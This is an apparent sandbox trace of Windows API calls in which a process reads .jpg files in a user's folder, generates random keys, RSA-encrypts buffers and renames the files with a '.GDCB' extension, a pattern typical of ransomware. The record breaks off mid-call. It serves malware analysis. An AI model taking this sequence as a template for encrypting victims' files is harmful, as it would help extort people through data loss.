[0192.387] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.387] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1f43fcc4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.390] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.392] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.394] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x18ac, lpOverlapped=0x0) returned 1 [0192.469] VirtualAlloc (lpAddress=0x0, dwSize=0x18b0, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.474] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1f43fcc4.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1f43fcc4.jpg.gdcb")) returned 0 [0192.480] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.482] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.484] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.484] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.484] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.487] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.487] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.487] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.488] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0192.491] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038d10) returned 1 [0192.491] CryptGetKeyParam (in: hKey=0x5038d10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.491] CryptEncrypt (in: hKey=0x5038d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.491] GetLastError () returned 0x0 [0192.491] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.491] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.494] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038d50) returned 1 [0192.494] CryptGetKeyParam (in: hKey=0x5038d50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.494] CryptEncrypt (in: hKey=0x5038d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.494] GetLastError () returned 0x0 [0192.494] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\3d12749e.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.497] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.503] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.504] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x176f, lpOverlapped=0x0) returned 1 [0192.511] VirtualAlloc (lpAddress=0x0, dwSize=0x1770, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.516] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\3d12749e.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\3d12749e.jpg.gdcb")) returned 0 [0192.521] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0192.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.523] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.523] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.523] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.523] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0192.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.525] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.526] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.528] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038dd0) returned 1 [0192.528] CryptGetKeyParam (in: hKey=0x5038dd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.528] CryptEncrypt (in: hKey=0x5038dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.528] GetLastError () returned 0x0 [0192.528] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.528] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.530] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038f50) returned 1 [0192.530] CryptGetKeyParam (in: hKey=0x5038f50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.530] CryptEncrypt (in: hKey=0x5038f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.531] GetLastError () returned 0x0 [0192.531] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\4929c482.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.532] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.534] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.535] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x20cc, lpOverlapped=0x0) returned 1 [0192.554] VirtualAlloc (lpAddress=0x0, dwSize=0x20d0, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.559] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\4929c482.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\4929c482.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\4929c482.jpg.gdcb")) returned 0 [0192.564] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0192.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.567] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.567] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.567] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.568] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.569] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.569] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.569] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.571] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035590) returned 1 [0192.571] CryptGetKeyParam (in: hKey=0x5035590, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.571] CryptEncrypt (in: hKey=0x5035590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.571] GetLastError () returned 0x0 [0192.571] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.571] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.573] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50350d0) returned 1 [0192.573] CryptGetKeyParam (in: hKey=0x50350d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.573] CryptEncrypt (in: hKey=0x50350d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.573] GetLastError () returned 0x0 [0192.573] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.573] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\52572b1f.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.575] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.606] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.609] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x15d1, lpOverlapped=0x0) returned 1 [0192.616] VirtualAlloc (lpAddress=0x0, dwSize=0x15e0, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.621] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\52572b1f.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\52572b1f.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\52572b1f.jpg.gdcb")) returned 0 [0192.626] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.627] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.628] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.628] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.628] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.630] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.631] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.631] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.631] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.633] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035290) returned 1 [0192.633] CryptGetKeyParam (in: hKey=0x5035290, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.633] CryptEncrypt (in: hKey=0x5035290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.633] GetLastError () returned 0x0 [0192.633] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.633] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.635] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50352d0) returned 1 [0192.635] CryptGetKeyParam (in: hKey=0x50352d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.635] CryptEncrypt (in: hKey=0x50352d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.636] GetLastError () returned 0x0 [0192.636] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.636] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\6b492b11.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.637] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.673] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.675] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0xf1a, lpOverlapped=0x0) returned 1 [0192.684] VirtualAlloc (lpAddress=0x0, dwSize=0xf20, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.689] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\6b492b11.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\6b492b11.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\6b492b11.jpg.gdcb")) returned 0 [0192.695] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.698] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.698] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.698] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0192.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.701] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.701] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.701] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.701] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0192.704] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035050) returned 1 [0192.704] CryptGetKeyParam (in: hKey=0x5035050, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.704] CryptEncrypt (in: hKey=0x5035050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.704] GetLastError () returned 0x0 [0192.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.705] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.707] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50356d0) returned 1 [0192.707] CryptGetKeyParam (in: hKey=0x50356d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.707] CryptEncrypt (in: hKey=0x50356d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.707] GetLastError () returned 0x0 [0192.708] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7a7d9912.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.710] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.712] VirtualAlloc (lpAddress=0x0, 